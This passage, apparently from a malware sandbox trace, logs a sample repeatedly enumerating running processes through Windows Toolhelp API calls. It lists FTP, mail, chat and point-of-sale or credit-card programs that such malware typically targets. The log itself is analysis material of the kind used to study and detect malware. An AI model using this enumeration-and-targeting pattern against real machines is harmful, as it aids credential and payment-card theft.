lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0237.981] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0237.983] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0237.985] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0237.987] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0238.038] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0238.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0238.042] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0238.045] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0238.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0238.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0238.050] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0238.052] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0238.054] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0238.056] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0238.058] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0238.060] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0238.063] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0238.064] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0238.066] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0238.068] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0238.070] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0238.073] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0238.075] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0238.076] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0238.078] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0238.079] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0238.140] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0238.142] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0238.144] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0238.146] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0238.147] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0238.149] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0238.150] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0238.151] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0238.153] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.154] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.155] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0238.157] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0238.158] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0238.160] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0238.161] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0238.162] CloseHandle (hObject=0x13b0) returned 1 [0238.162] Sleep (dwMilliseconds=0x64) [0238.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0238.219] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.220] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.349] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.351] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.352] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.354] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.355] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.357] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.359] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0238.361] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.363] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.365] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0238.367] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.369] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.370] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.372] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.374] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.376] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.378] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.380] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0238.428] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0238.429] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0238.431] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.432] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0238.434] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0238.435] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0238.437] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0238.438] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.439] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0238.441] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0238.443] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.445] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.447] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0238.449] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0238.450] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0238.452] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0238.453] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0238.454] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0238.456] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0238.458] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0238.459] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0238.460] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 